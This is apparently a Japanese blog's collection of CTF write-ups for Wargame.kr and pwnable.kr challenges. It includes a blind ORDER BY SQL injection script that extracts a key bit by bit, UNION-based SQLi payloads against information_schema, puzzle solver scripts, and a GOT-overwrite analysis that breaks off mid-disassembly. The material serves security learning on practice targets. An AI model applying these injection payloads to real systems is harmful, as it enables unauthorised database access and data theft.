CTF、Wargame.kr #19 dbms335のwriteupというか説明備忘録

例によって他の人のwriteup見ました…。

参考にしたのはStay hungry, Stay foolish.:Wargame.kr – Challenge [Lonely Guys]です。
翻訳サイトにかけて読めばだいたいの流れはわかると思います。

調査

まず与えられたソースコード。

<?php
if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}
include("./inc.php");
include("../lib.php");
//usleep(200000*rand(2,3));
if(isset($_POST['sort'])){
 $sort=$_POST['sort'];
}else{
 $sort="asc";
}
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html>
 <head>
  <style type="text/css">
   body {background-color:#eaeafe;}
   #title {text-align:center; font-size:22pt; border:1px solid #cacaca;}
   #reg:hover {color:#557; cursor:pointer;}
   #contents {text-align:center; width:550px; margin: 30px auto;}
   #admin_tbl {width:100%;}
   #admin_tbl thead tr td {border-bottom:1px solid #888; font-weight:bold;}
   #admin_tbl tbody tr td {border-bottom:1px solid #aaa;}
   #admin_tbl #reg {width:200px;}
  </style>
  <script type="text/javascript" src="./jquery.min.js"></script>
  <script type="text/javascript" src="./jquery.color-RGBa-patch.js"></script>
  <script type="text/javascript"> var sort="<?php echo $sort; ?>"; </script>
  <script type="text/javascript" src="./main.js"></script>
 </head>
 <body>
  <div id="title"> Lonely guys Management page </div>
  <div id="contents">
   <table id="admin_tbl">
    <thead>
     <tr><td>the list of guys that need a girlfriend.</td><td id="reg">reg_single <sub>(sort)</sub></td></tr>
    </thead>
    <tbody>
     <?php
      mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
      $sort = mysql_real_escape_string($sort);
      $result=mysql_query("select * from guys_tbl order by reg_date $sort");
      while($row=mysql_fetch_array($result)){
       echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
      }
     ?>
    </tbody>
   </table>
  </div>
  <div style="text-align:center;">
      <a href="?view-source">view-source</a>
  </div>
 </body>
</html>

41行目でなにやらauthkeyという怪しいテーブルをupdateしています。

ちなみにこのソースコードはサーバーサイドで処理されるものなので、こっちじゃauthkeyは確認できません。auth_code(‘lonely guys’)っていう関数も他の部分で定義されたものっぽくゆえに確認はできません。

このauthkeyかguys_tbl、2つのテーブルのどっちかにFLAGがあるのでしょう。と見当をつけ進めます。

SQLインジェクション可能な場所

43行目、order by reg_data の後の$sort変数がエスケープもなにもされておらずSQLインジェクションできます。
ちなみに$sortは本来ならdsc(降順)かasc(昇順)のどちらかがセットされ、並び替えの順番を指定するものですが、ロクにチェックされてませんので好きな内容にできます。

しかし、インジェクションした結果がorder by reg_dataの後に入ってエラーにならないようにしなくてはなりません。

よって、エラーを起こさないためには「なにも返さない」副問い合わせを入れる必要があります。

しかしそもそも普通のレスポンスにも表示するとこないし、エラーもなにも表示されないから、普通にSQLインジェクションしてデータをそのまま表示させようとしてもダメです。

そしてブラインドSQLインジェクションの出番です。

ブラインドSQLインジェクション (BSQLi) について

これは、たとえば、SQLインジェクションして
「1番目の文字が’a’なら1秒スリープしろ」、
すぐレスポンスが返って来たら
「1番目の文字が’b’なら1秒スリープしろ」
…などとし、
サイドチャネル攻撃的なことをします。
これを繰り返せば、1文字目、2文字目…という風に決定して行くことができます。

スリープの部分は外側から観測できるものなら何だってよいです。たとえばエラーが起こるか否かとか。もしくは直接データは表示されないものの、レスポンスの内容や長さが変わるとか。

こんな風に探して行くので時間かかりますけどね。

それでStay hungry, Stay foolish.:Wargame.kr – Challenge [Lonely Guys]からの引用コードはこちら。

import urllib2
import sys

def req(data):
    data = "sort="+urllib.quote(data)

    url = "http://wargame.kr:8080/lonely_guys/index.php"

    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url,data)
    request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    request.add_header('Cookie', 'PHPSESSID=v49q7ovgd3dh0bbu5dotlauac0; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%222ec176a03d75a0f2aa7c733117a7b764%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22203.234.19.105%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A102%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F44.0.2403.155+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1441691637%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Dbe4f464cce2fd702d9347b0a63d77c37ea3fb0e9')
    request.get_method = lambda:'POST'
    response = opener.open(request)
    response = str(response.read())

    if len(response)<1400:
        return True
    else:
        return False

        
print "[*] Find KEY length"
for i in range(100):
    data = ",(select 1 from guys_tbl,authkey where 1=1 and (length(authkey)="+str(i)+"))"
    #print data
    if req(data):
        length = i
        print "[*] KEY length is "+str(i)
        break
        
print "[*] Find KEY value"

key = ""
binary = ""
for i in range(length):
    for j in range(8):
        data = ",(select 1 from guys_tbl,authkey where 1=1 and (substr(lpad(bin(ord(substr(authkey,"+str(i+1)+",1))),8,0),"+str(j+1)+",1)=0))"
        if req(data):
            binary += "0"
        else:
            binary += "1"
            
    key += chr(int(binary,2))
    binary = ""
    
print "[*] KEY is ["+key+"]"


#출처: http://zairo.tistory.com/entry/Wargamekr-Challenge-Lonely-Guys [Stay hungry, Stay foolish.]

さっきの例ではわかりやすさのために’a’とか’b’とかで比較していましたが、それだと1文字を確定するのにたくさんの比較が必要になります。

たとえば、a-zの26種類だとしても最悪で25回( FLAGはランダム文字列だとして平均だとたぶん12~13回?)の比較が必要になります。
本当はもっと使われている文字が多いのでさらに増えます。

こちらの引用したコードだとbitごとの比較で、それだと1文字=8bit確定するのに8回の比較で済みます。
固定で8回です。

これなら変な記号や制御文字入ってても御構い無しで8回で済みます。

なので使われる文字の種類がわかってないor多い場合はbitごとの比較が早い…。

エラー判定

さてスクリプトの中を見ればわかると思いますが、
req関数は、SQLインジェクションして、そのレスポンスの長さでエラーか正常か判断しています。
元のソースコード43行目のクエリがエラーで情報を取得できないと、画面にはなにもlonly_guyたちの情報が表示されないのでレスポンスがの長さが短くなります。

さてこのスクリプトが実行されてからの流れを見ます。

最初にFLAGの長さを調べます…

iを変えつつ、

,(select 1 from guys_tbl,authkey where 1=1 and (length(authkey)="+str(i)+"))

をインジェクションし、SQLがエラー出すかどうかで確かめます。
(from guys_tbl, authkey と一見必要ないのに2つのテーブルを指定しています。これは、select 1 from A_table B_table …としとけばテーブルの数と同じ行数、1が返るためです。)

つまり具体的には…副クエリ(カッコの中)は、もしauthkeyの長さがiだった場合、2行の1を返します。
order byは複数行副問い合わせを受け付けない(らしい詳細は下記)のでエラー(表示はされないけどSubquery returns more than 1 row とからしい)になり、レスポンスにはlonly_guyたちの情報が入らないので長さが短くなります。

order byの後に複数行副問い合わせをインジェクションしてブラインドSQLインジェクションするのは有名らしく、途中まで入れると「order by blind sql injection」がGoogle検索のサジェストに出て来ます。
NOT SO SECURE: Injection in Order by, Group by Clauseとかどうぞ。

エラーのときは情報が取得できない結果、レスポンスがいつもより少ないのでreq関数がtrueを返します。

このときのiがFLAGの長さに等しいというわけです。


次に、その中身を1bitずつ0か1か調べます。

authkeyのi文字目、のjビット目を0か1か、

,(select 1 from guys_tbl,authkey where 1=1 and (substr(lpad(bin(ord(substr(authkey,"+str(i+1)+",1))),8,0),"+str(j+1)+",1)=0))

をインジェクションして調べていきます。

この後半部分のごちゃっとした部分ですが、まず

(substr(authkey,"+str(i+1)+",1)

でauthkeyのi文字目を1文字だけ切り出しています。
つぎにその1文字をordで文字コードにし、
それをbinで2真数にし、
それをlpadでパディングして8bitの二進数にし、
最後にsubstrで8bit中 jビット目を取り出して、
それを0と比較しています。

これでそのbitが0か1かわかります。

まぁ読めばわかると言えばそうなんですが。

全部自分で解けるようになりたいなぁ

CTF、Wargame.kr #14 SimpleBoardのwriteup

Web問に強くなる必要が出て来たのでPwnable.krで勉強中ですがWargame.krをやってます。

(もう毎度のことですがわかんなくて他人のwriteup見ました)

与えられるもの

押した行の番号が、idxというクエリパラメータとして付加されています

そして、押すと「HIT」欄の数がインクリメントされます。

与えられるソースコードがこれ。

<?php
    if (isset($_GET['view-source'])){
        if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") {
            show_source(__FILE__);
            exit();
        }
    }

    Class DB {
        private $connector;

        function __construct(){
            $this->connector = mysql_connect("localhost", "SimpleBoard", "SimpleBoard_pz");
            mysql_select_db("SimpleBoard", $this->connector);
        }

        public function get_query($query){
            $result = $this->real_query($query);
            return mysql_fetch_assoc($result);
        }

        public function gets_query($query){
            $rows = [];
            $result = $this->real_query($query);
            while ($row = mysql_fetch_assoc($result)) {
                array_push($rows, $row);
            }
            return $rows;
        }

        public function just_query($query){
            return $this->real_query($query);
        }

        private function real_query($query){
            if (!$result = mysql_query($query, $this->connector)) {
                die("query error");
            }
            return $result;
        }

    }

    Class Board {
        private $db;
        private $table;

        function __construct($table){
            $this->db = new DB();
            $this->table = $table;
        }

        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }

        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }

        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600, "/SimpleBoard/");
        }

        public function get_list(){
            $sql = "select * from {$this->table} order by idx desc limit 0,10";
            $list = $this->db->gets_query($sql);
            return $list;
        }

    }


HIT欄の数字の更新について

具体的にはHIT欄の数字をインクリメントしてるのはこの関数です。名前もincrement_hitの略みたいですし。

        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600, "/SimpleBoard/");
        }

でこの関数はCookieにidxを書き込んでいるのがわかりますね。

そして、このinc_hit関数は、read_chk関数というすでに読んだページかをCookieから判定している関数を呼び、もし結果がfalseなら(=初めて訪れるページなら)クエリを発行しHITカウントをインクリメントしています。。

        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }

もし初めて来たページ(というか初めて見るidxのページ)だと判定されるとinc_hit関数の中でread_chk関数がtrueを返しクエリが発行されてしまい、つまり

$this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");

が実行されるため、read関数のなかのクエリに合わせることしか考えていないSQLインジェクションしてるとquerry errorになります。

よって、すでに読んだページということにするためCookieに情報を付加しておき、このinc_hit関数が呼ばれるのを阻止する必要があります。

なお読めばわかりますがCookieのviewの値に、たとえばidxが1と2と4のページにすでに訪れたのなら「  /1/2/4 」のようにセットされます。

クエリパラメータを編集して
http://wargame.kr:8080/SimpleBoard/read.php?idx=(ここを変更)
みたいにするときは、Cookieも編集しなくてはいけないのです。

省力化

いちいちCookie編集はめんどくさいのでスクリプトでやるとよいらしいです。

import urllib
import urllib2
import sys

payload = sys.argv[1]
payload = urllib.quote(payload)

url = "http://wargame.kr:8080/SimpleBoard/read.php?idx=" + payload

res = ""

req = urllib2.Request(url)
req.add_header('Cookie', 'view=/' + payload + ';ci_session=ここに自分のセッションIDを貼る)

res = urllib2.urlopen(req)
read = res.read()

print read

(by参考writeupのその3)
とやればCookie変更とリクエスト送信を一度にやってくれよろしいそうです。
セッションIDはCharlesみたいなのでローカルプロキシってで通信内容を見るか、SafariならWebインスペクタ、Chromeなら開発者ツールとかで通信内容を見てください。

$ python simpleBoard.py "ここにクエリパラメータidxに入れたいものを書く"

とすればレスポンスボディが表示されるわけですが、さてどう使うか。

SQLインジェクションできるポイント

実は、与えられたソースコード

        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }

には脆弱性があり、「idx=$idx」とシングルクォーテーションでくくっておりません。
$idxに入ってたものがそのまま渡されるためSQLインジェクションしちゃえます。
たとえば
http://wargame.kr:8080/SimpleBoard/read.php?idx=1 union 1,2,3,4#
とすると(ブラウザのURLバーだと空白入れられないかも)、実際には最後のreturnが

return $this->db->get_query("select * from {$this->table} where idx=1 union1,2,3,4#");

となってしまうわけです。

なお、最後に「#」を入れているのはHTTPのクエリの末尾を表すためみたいです。クエリの終わりは末尾または#までだそうです。
(参照・こせきの技術日記:HTTPのクエリパラメータにコロン(:)を書くのは不正なのか。)

何をインジェクションするのか

よって、idxには次のSQLインジェクションを試していきます。
まず、idxに基づきSQLから得た情報を表示するワクは4つあるので、つぎの文を試します。

$ python simpleBoard.py "union 1,2,3,4#"


みての通りエラーです。
これはなぜかというとさっきの通りread関数内のSQLクエリ文の中のidx=$idxに合うようにしなくてはならないから。

select * from {$this->table} where idx= union1,2,3,4#

ってクエリとしておかしいでしょ。

次はちゃんと頭にidxの番号を入れときます。

$ python simpleBoard.py "1 union 1,2,3,4#"


idx=1のときの情報が普通に表示されるだけです。
返されたデータの先頭4つだけを表示しているのでしょう。だからあとのものは表示されません。

では、データが存在しないはずのidx=5にしてみると?

$ python simpleBoard.py "5 union 1,2,3,4#"


当然、idx=5に関しての情報はカラですので、かわりに後ろの1、2、3、4が先頭の4要素に入って来ていますから表示されます。

ほんでもってテーブル名とかそのカラム名とかを検索して表示してけばたどり着くみたいだけどめんどいので放置

$ python simpleBoard.py "5 union select 1,2,3,table_name from information_schema.tables limit 1,1#"

とかやるとテーブルの名前が表示されたりなんだりして解いていきます。
なおinformation_schemaはMySQLのリファレンスによると

INFORMATION_SCHEMA では、データベースメタデータへのアクセスを実現し、データベースまたはテーブルの名前、カラムのデータ型、アクセス権限などの MySQL Server に関する情報を提供します。この情報に使用されることがある別の用語が、データディクショナリとシステムカタログです。

INFORMATION_SCHEMA は、各 MySQL インスタンス内のデータベースであり、MySQL Server が保持するほかのすべてのデータベースに関する情報を格納する場所です。

だそうですんでテーブルの名前カラムの名前見られちゃうわけです。

ここから怪しいテーブルの名前を見つけたりそのカラム名を表示したりして行くわけですが、あとは説明することはないので以下の参考writeupの元記事を読んでも十分追えるはずです。
最終的には

$ python simpleBoard.py "5 union select 1,2,3,flag from README#"

で答えが出ます。
(丸投げ)

参考writeup

SafariのwebインスペクタでHTTPヘッダーを見る方法

検索してもやり方が悪いのか、詳細な解説は古いものしか見つからなかったので書きます…。

option + command + iでwebインスペクタを表示します。
「ネットワーク」タブで「詳細サイドバーを表示」ボタンをクリック。
この赤矢印の先です。

ショートカットキー option + command + 0 でも良いです。

するとこのようにHTTPヘッダの情報が見られます。

webインスペクタを開いてからの情報しか表示されません。
webインスペクタを開いてから、中身を見たい通信を開始してください。

CTF、pwnable #13 lottoのwriteup

(writeup見ちゃいました)

調査

ロトをやらされます。
 1~45の6つの乱数が生成されます。6つの番号(というか6つのbyte)を入力し、そのうち1つでも乱数と一致していればflagがもらえます。

play()関数について


void play(){

    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);

    int r;
    r = read(0, submit, 6);

    printf("Lotto Start!n");
    //sleep(1);

    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell adminn");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2. tell adminn");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;        // 1 ~ 45
    }
    close(fd);

    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...n");
    }

}

ロトはソースコードのplay関数で行われています。

「ロト6」は普通、6つの数字は重複してはいけません。じゃないと低い等数の当選が狙いやすくなってしまいます。
ですが、play関数ではどこも6つの数(というかbyte)の重複チェックをしていません。

解法

よって、6つの数を全部同じ数にすれば良いです。

次のシェルスクリプトで自動で繰り返します。
対話型のプログラムの相手をさせるならexpectが一番でしょうが、サーバに入ってないのでこれも使えない。
標準的な機能のみで対話型?プログラムの自動化をするのは、(vMasturbation: bashのみで対話的なtelnetを自動実行する)を参考にしました。
μ秒単位で寝てくれるusleepも無いので仕方なく秒単位で寝るsleepを使わざるを得ませんが試行回数が少ないので実用範囲内です。


#!/bin/bash 
commandline()
{
sleep 1; echo  "1"
sleep 1; echo  "######3"
}

for i in `seq 0 30`
do
  touch /tmp/tmpfile1
  commandline | ./lotto > /tmp/tmpfile1
  cat /tmp/tmpfile1 | grep "bad"
  #badなんとかって文言がないとき==当選したとき
  if [ $? = 1 ] ; then
    #当選したときのログを表示して終了
    cat /tmp/tmpfile1
    rm -f /tmp/tmpfile1
    break
  fi
  rm -f /tmp/tmpfile1
done

なんか最初の1行だけ端末に表示されちゃいますが、動きます。

CTF、pwnable #11 coin1のwriteup

(writeupみちゃいました)

調査

ルールは
「コインがN枚が並べてあります。その中に1枚だけ偽物のコインがあるので、一度に何枚でも載せられる天秤をC回だけ使って何番目のコインが偽物か答えてね!
30秒以内でこれを100回解けばフラグをあげるよ」
というゲームです。

上のルールもそうですが、入力や出力の決まりは接続時に表示されるので読んでください。

解法

流れ

人間がやると死ねるのでプログラムに答えてもらいます。

  1. コイン全体を2等分します
  2. 片方のグループのコインを全て天秤に載せ、重さを一度に測ります。重さがコインの枚数*10でなければ、このグループに偽物コインがあります。でなければもう一方のグループに偽物コインが含まれています。
  3. 偽物コインが含まれているグループを基にして、手順1からやり直します。
  4. 最後に偽物コインが1枚に絞り込めます。

以上!

エクスプロイトコード

# coding: utf-8

import socket                                                                 
import sys                                                                    
import re  
import time
                                                                   
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                      
server_address = ('127.0.0.1', 9007)                                          
sock.connect(server_address)  
                                                
sock.recv(10024)        #接続時のルール説明を読み飛ばす                                                              
                                                                              
for i in range(100):                                                          
        arr = sock.recv(100).strip().split(' ')                            
        count = int(arr[1].split('=')[1])                                                  
        number = int(arr[0].split('=')[1])  
        print "c:" + str(count)
        print "n:" + str(number)                                              
        low = 0                                                               
        high = number                                                         
                                                       
        send_data = " "                 
        #二分探索                                                       
        for _ in range(count):  
                                                                                                       
                mid = (low+high)/2  
                #2分割したコインの先頭側グループを全て秤に載せる(奇数の場合は先頭グループが常に1枚多くなる)                                          
                send_data = " ".join([str(i) for i in range(low, mid+1)])+"n"
                sock.sendall(send_data)  

                time.sleep(0.01)        #待たないとダメかも?   
                data = sock.recv(100)                                         
                weight = int(data[:-1])
                
                #ちょうど最後の一枚!
                if weight == 9: 
                        pass
                #このグループには偽コインは含まれていない場合
                elif weight == (mid + 1 - low) * 10:
                        low = mid + 1
                        #もう一方のグループが残り1枚なら偽物確定。
                        if (high - low + 1) == 1:
                                send_data = str(high) +"n"        
                #このグループに偽コインが含まれている場合
                else:
                        high = mid
                
        sock.sendall(send_data)         #結果送信
        time.sleep(0.01)
        data = sock.recv(100)
        print data
                                                                                             
time.sleep(0.01)                                                                                                                       
data = sock.recv(100)                                                         
print data

使い方

普通にやるとサーバの応答が遅いせいでタイムアップになります。
上で接続先にlocalhost(ループバックアドレス127.0.0.1)を指定してることからわかるように、SSHログインしたサーバ内から実行してください。
問題文にも「(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)」
って書いてありますしね。

具体的には

user1@TTsMacBookPro-2 ~/Desktop ->
 10:29 PM 金  9 22$ ssh fd@pwnable.kr -p2222 
fd@ubuntu:~$ cd /tmp
fd@ubuntu:/tmp$ vim solver11.py
((ここで作成したプログラムをコピペして保存))
fd@ubuntu:/tmp$ python solver11.py

として実行すればよいです

CTF、pwnable #6 randomのwriteup

(writeupみちゃいました)

調査

ファイルの動作

指示されている通りにSSH接続します。
実行ファイルrandomを実行して、好きな数字を入力すると、
Wrong, maybe you should try 2^32 cases.

と言われてしまいます。

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.n");
        return 0;
}

ソースコードを見るとシードを与えるsrand関数無しに、rand関数を使っています。

randの実装

ここでglibcのrandの実装を見ると…(ももいろテクノロジー:Z3Pyでglibc rand(3)の出力を推測してみる)

int
__random_r (buf, result)
     struct random_data *buf;
     int32_t *result;
{
  int32_t *state;

  if (buf == NULL || result == NULL)
    goto fail;

  state = buf->state;

  if (buf->rand_type == TYPE_0)
    {
      int32_t val = state[0];
      val = ((state[0] * 1103515245) + 12345) & 0x7fffffff;
      state[0] = val;
      *result = val;
    }
  else
    {
      int32_t *fptr = buf->fptr;
      int32_t *rptr = buf->rptr;
      int32_t *end_ptr = buf->end_ptr;
      int32_t val;

      val = *fptr += *rptr;
      /* Chucking least random bit.  */
      *result = (val >> 1) & 0x7fffffff;
      ++fptr;
      if (fptr >= end_ptr)
    {
      fptr = state;
      ++rptr;
    }
      else
    {
      ++rptr;
      if (rptr >= end_ptr)
        rptr = state;
    }
      buf->fptr = fptr;
      buf->rptr = rptr;
    }
  return 0;

 fail:
  __set_errno (EINVAL);
  return -1;
}

詳細は元記事をご覧ください…、上では前後端折ってるのでわかりにくいですがrandが呼ばれるたびに何やらポインタを進めているというのがわかります。

なおbuf->rand_type  はTYPE_3になるそうです。
よってelseのカッコの中が行われるメインの処理です。
(TYPE_0指定の場合はifのカッコの中が実行され、線形合同法で乱数が生成されます)

ポインタたちが指すのはrandtblという、内部状態の表みたいです。そこから2つを足し算して、一番ランダムじゃないLSB側1bitを捨てて31bit乱数とする…みたい。

元記事にあるように、乱数をたくさん生成させれば内部状態が推測でき、そこからどんな乱数が生成されるのかわかってしまうようになります。

解法

内部状態のテーブルが同じなら同じ乱数が同じ順番で生成されるので、今回は内部状態を調べなくても、rand関数で最初に生成される値を見ておけばOK。srand関数使ってないからいつも同じなのです。

(よくわからんけどsrand関数を使わない限りrandtblは同じ内容?みたい、違かったらごめんなさい)

random@ubuntu:~$ gdb random
(gdb) b *0x0000000000400606
Breakpoint 1 at 0x400606
(gdb) r
Starting program: /home/random/random 

Breakpoint 1, 0x0000000000400606 in main ()
(gdb) print/x $eax
$1 = 0x6b8b4567

のようにgdb等で、rand関数を実行した後にブレークポイントを仕掛けEAXレジスタの中身を見ます。(戻り値はEAXレジスタ)
何回やっても同じく0x6b8b4567が生成されていることが確認できます。

XOR演算は2回掛けると元に戻せます。
key xor random = 0xdeadbeef
より
key xor random xor random = 0xdeadbeef xor random
からkeyが求められます。
よって、0xdeadbeefと0x6b8b4567のXORをとったものが、入力されるkeyになります。

key = 0xb526fb88
です。

これを10進数で入力すればOK。

以上です。

CTF、pwnable #5 passcodeのwriteup

pwnable #5 passcodeの日本語writeupは意外とないもんですね。
わかんなかったので他人のwriteup見ちゃいました。

(あとこの問題では使いませんが他の問題でダウンロードさせられるDMSファイルはMacやWindowsだと開くのが面倒なのでLinuxで開きましょう。
MacでUnarchiverというソフトを使えるとDMSファイルを開けるらしいのですが、「ファイル*の内容は、このプログラムでは展開できません」とエラーが出てしまいます。
fileコマンドで調べるとELF64実行ファイルと出てきますし素直にLinuxで開きましょう。)

調査

ssh passcode@pwnable.kr -p2222

と書いてあるので接続します。(pw:guest)と末尾にあるようにログインパスワードはguestです。

passcodeとpasscode.cとflagが置いてあります。
passcodeを実行すると

passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : admin
Welcome admin!
enter passcode1 : aaaa
enter passcode2 : checking...
Login Failed!

となります。(この例ではyou nameにadmin、passcode1にaaaaを入力しました)

セグメンテーションフォールトを起こしています。

passcode@ubuntu:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
 int passcode1;
 int passcode2;

 printf("enter passcode1 : ");
 scanf("%d", passcode1);
 fflush(stdin);

 // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
 printf("enter passcode2 : ");
        scanf("%d", passcode2);

 printf("checking...n");
 if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!n");
  exit(0);
        }
}

void welcome(){
 char name[100];
 printf("enter you name : ");
 scanf("%100s", name);
 printf("Welcome %s!n", name);
}

int main(){
 printf("Toddler's Secure Login System 1.0 beta.n");

 welcome();
 login();

 // something after login...
 printf("Now I can safely trust you that you have credential :)n");
 return 0; 
}

catでソースコードpasscode.cを見て見ますと、10行目と15行目でscanfに変数を指すアドレスを渡すべきところを、変数を直接渡しています。

よって本来書き込んではいけない場所に書き込むことになりセグメンテーションフォールトを起こしているようです。

ここが

scanf("%d", &passcode1);
scanf("%d", &passcode2);

のように&をつけてあれば、scanf関数は正しくpasscode1や2に書き込んでくれたのですが…。

解法

おおまかな方針

これを逆手に取ると、passcode1やpasscode2に格納された(かつ書き込み可能な)好きなアドレスの指す先に、scanf関数で書き込むことができます。


今回は、ソースコード20行目のflagを開くところにジャンプしたいです。

その直後のfflush関数の呼び出しで20行目前にジャンプするために、
passcode1の指す先をfflush関数を指しているGOT(GlobalOffsetTable)にしておき、scanfでpasscode1の指す先へ書き込む際にGOTを書き換え、fflushを呼び出す際にそのアドレスにジャンプするようにします(GOT overwrite攻撃)

そしてpasscode1にfflushのGOTのアドレスを書き込むためには、一番最初のname入力時にBOF(BufferOverflow)を利用します。


これがこの問題を解くためのアイデアです。(pwnって難しいよねー)

GOTとは

ちなみに、GOTの役割ですが、
関数が呼ばれる際はまずPLT(ProcedureLinkageTable)にジャンプします。
PLTは、本当の関数のアドレスが入っているGOTを参照し、間接的にジャンプするのですが、最初はGOTに値が入っていません。なので初回だけ、GOTに本当の関数のアドレスを入れてくれる手続きにジャンプします。

このようにして動的リンクを実現している…らしいですが、GOTが書き換え可能だとGOT Overwrite攻撃みたいに書き換えて好きな場所に飛ばされるので、
最初にGOTは全部書き込んで置いて、書き込み不可にする!ってのがFull RELRO(RELocation Read Only)らしいです。この場合でも別な方法で好き勝手されはしますけど。


解法の詳細

passcode@ubuntu:~$ gdb passcode
(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>: push   %ebp
   0x08048565 <+1>: mov    %esp,%ebp
   0x08048567 <+3>: sub    $0x28,%esp
   0x0804856a <+6>: mov    $0x8048770,%eax
   0x0804856f <+11>: mov    %eax,(%esp)
   0x08048572 <+14>: call   0x8048420 <printf plt="">
   0x08048577 <+19>: mov    $0x8048783,%eax
   0x0804857c <+24>: mov    -0x10(%ebp),%edx
   0x0804857f <+27>: mov    %edx,0x4(%esp)
   0x08048583 <+31>: mov    %eax,(%esp)
   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf plt="">
   0x0804858b <+39>: mov    0x804a02c,%eax
   0x08048590 <+44>: mov    %eax,(%esp)
   0x08048593 <+47>: call   0x8048430 <fflush plt="">
   0x08048598 <+52>: mov    $0x8048786,%eax
   0x0804859d <+57>: mov    %eax,(%esp)
   0x080485a0 <+60>: call   0x8048420 <printf plt="">
   0x080485a5 <+65>: mov    $0x8048783,%eax
   0x080485aa <+70>: mov    -0xc(%ebp),%edx
   0x080485ad <+73>: mov    %edx,0x4(%esp)
   0x080485b1 <+77>: mov    %eax,(%esp)
   0x080485b4 <+80>: call   0x80484a0 <__isoc99_scanf plt="">
   0x080485b9 <+85>: movl   $0x8048799,(%esp)
   0x080485c0 <+92>: call   0x8048450 <puts plt="">
   0x080485c5 <+97>: cmpl   $0x528e6,-0x10(%ebp)
   0x080485cc <+104>: jne    0x80485f1 <login>
   0x080485ce <+106>: cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>: jne    0x80485f1 <login>
   0x080485d7 <+115>: movl   $0x80487a5,(%esp)
   0x080485de <+122>: call   0x8048450 <puts plt="">
   0x080485e3 <+127>: movl   $0x80487af,(%esp)
   0x080485ea <+134>: call   0x8048460 <system plt="">
   0x080485ef <+139>: leave  
   0x080485f0 <+140>: ret    
   0x080485f1 <+141>: movl   $0x80487bd,(%esp)
   0x080485f8 <+148>: call   0x8048450 <puts plt="">
   0x080485fd <+153>: movl   $0x0,(%esp)
End of assembler dump.

Dump of assembler code for function welcome:
   0x08048609 <+0>: push   %ebp
   0x0804860a <+1>: mov    %esp,%ebp
   0x0804860c <+3>: sub    $0x88,%esp
   0x08048612 <+9>: mov    %gs:0x14,%eax
   0x08048618 <+15>: mov    %eax,-0xc(%ebp)
   0x0804861b <+18>: xor    %eax,%eax
   0x0804861d <+20>: mov    $0x80487cb,%eax
   0x08048622 <+25>: mov    %eax,(%esp)
   0x08048625 <+28>: call   0x8048420 <printf plt="">
   0x0804862a <+33>: mov    $0x80487dd,%eax
   0x0804862f <+38>: lea    -0x70(%ebp),%edx
   0x08048632 <+41>: mov    %edx,0x4(%esp)
   0x08048636 <+45>: mov    %eax,(%esp)
   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf plt="">
   0x0804863e <+53>: mov    $0x80487e3,%eax
   0x08048643 <+58>: lea    -0x70(%ebp),%edx
   0x08048646 <+61>: mov    %edx,0x4(%esp)
   0x0804864a <+65>: mov    %eax,(%esp)
   0x0804864d <+68>: call   0x8048420 <printf plt="">
   0x08048652 <+73>: mov    -0xc(%ebp),%eax
